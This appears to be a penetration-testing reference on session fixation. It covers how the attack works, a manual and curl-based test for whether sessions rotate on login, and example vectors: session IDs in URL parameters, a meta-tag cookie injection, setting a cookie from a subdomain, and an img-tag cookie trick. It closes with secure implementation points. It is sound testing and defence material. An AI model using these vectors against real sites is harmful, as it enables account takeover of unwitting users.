Session fixation

Session fixation attacks force a user to use a session ID known to the attacker, enabling account takeover after the victim authenticates.

How It Works

1. Attacker obtains a valid session ID from the target site

2. Attacker tricks victim into using that session ID

3. Victim authenticates with the fixed session

4. Attacker uses the same session ID to access victim's account

Testing Methodology

Basic Test

1. Open target.com/login (Attacker browser)
2. Note the SESSION cookie value: abc123
3. Open target.com/login in incognito (Victim simulation)
4. Set cookie to attacker's value: abc123
5. Login as victim in incognito tab
6. Refresh attacker's browser
7. If logged in as victim → VULNERABLE

Check if Session Changes on Login

# Get pre-auth session
curl -c cookies.txt https://target.com/login

# Check cookie value
cat cookies.txt

# Login and check if session changed
curl -b cookies.txt -c cookies2.txt -X POST \
  -d "user=test&pass=test" https://target.com/login

# Compare sessions
diff cookies.txt cookies2.txt
# If same → VULNERABLE

Attack Vectors

Via URL Parameter

# Some apps accept session in URL
https://target.com/login?PHPSESSID=attacker_session
https://target.com/login?JSESSIONID=attacker_session
https://target.com/login;jsessionid=attacker_session

# Send to victim, they login, attacker uses same session

Via Meta Tag Injection

<!-- If XSS or HTML injection exists -->
<meta http-equiv="Set-Cookie" content="session=attacker_session">

Via Subdomain Cookie

# If attacker controls subdomain (e.g., user content)
# Set cookie from evil.target.com for .target.com
document.cookie = "session=attacker_session; domain=.target.com"

Via Cross-Site Cooking

<!-- On attacker's site, if target has weak cookie scope -->
<img src="https://target.com/page?session=attacker_session">

Indicators of Vulnerability

Indicator	Status
Session ID unchanged after login	❌ Vulnerable
Session accepted via URL parameter	❌ Vulnerable
No HttpOnly flag on session cookie	⚠️ Risk factor
Session cookie domain too broad	⚠️ Risk factor
Long session timeout	⚠️ Risk factor

Verification Commands

# Check cookie attributes
curl -v -c - https://target.com/login 2>&1 | grep -i "set-cookie"

# Look for:
# - HttpOnly flag (mitigates but doesn't prevent)
# - Secure flag
# - SameSite attribute
# - Domain scope

Secure Implementation (What to Look For)

✓ Generate new session ID after authentication
✓ Invalidate old session on login
✓ Use HttpOnly and Secure flags
✓ Implement SameSite=Strict or Lax
✓ Reject session IDs from URL parameters
✓ Short session timeouts

Related Topics

• XSS - Can be used to set cookies

• CSRF - Related session attacks

• Authentication Bypass